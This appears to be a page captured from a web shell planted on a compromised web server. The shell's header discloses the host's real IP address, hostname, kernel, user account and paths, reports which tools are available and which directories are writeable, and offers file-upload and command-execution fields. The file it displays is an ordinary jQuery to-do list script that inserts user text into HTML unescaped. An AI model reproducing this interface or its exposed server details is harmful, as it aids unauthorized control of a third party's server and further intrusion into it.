SCDNG PELER
Server IP : 144.76.124.212  /  Your IP : 216.73.216.34
Web Server : LiteSpeed
System : Linux l4cp.vnetindia.com 4.18.0-553.40.1.lve.el8.x86_64 #1 SMP Wed Feb 12 18:54:57 UTC 2025 x86_64
User : rakcha ( 1356)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home5/rakcha/www/app/assets/js/page/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home5/rakcha/www/app/assets/js/page/todo.js
/*************** TO DO **********************/

'use strict';

$(document).on('click', '.to-do-list .form-check-label .form-check-input', function () {

    $(this).parent('label').toggleClass('line-through');

});

$(document).on('click', '.todo-remove', function () {

    $(this).closest("li").remove();

    return false;

});



//todo add

$(".tdl-new").on('keypress', function (e) {

    var code = (e.keyCode ? e.keyCode : e.which);

    if (code == 13) {

        var v = $(this).val();

        var s = v.replace(/ +?/g, '');

        if (s == "") {

            return false;

        } else {

            $(".tdl-content ul").append("<li class='clearfix'> <div class='form-check m-l-10'> <label class='form-check-label'> <input class='form-check-input' type='checkbox' value=''>" + v + "<span class='form-check-sign'> <span class='check'></span> </span> </label> </div> <div class='todo-actionlist pull-right clearfix'> <a href='#' class=''> <i class='material-icons'>clear</i> </a> </div> </li>");

            $(this).val("");

        }

    }

});



// for dynamically created a tags

$(".tdl-content").on('click', "a", function () {

    var _li = $(this).parent().parent("li");

    _li.addClass("remove").stop().delay(100).slideUp("fast", function () {

        _li.remove();

    });

    return false;

});

Anon7 - 2022
SCDN GOK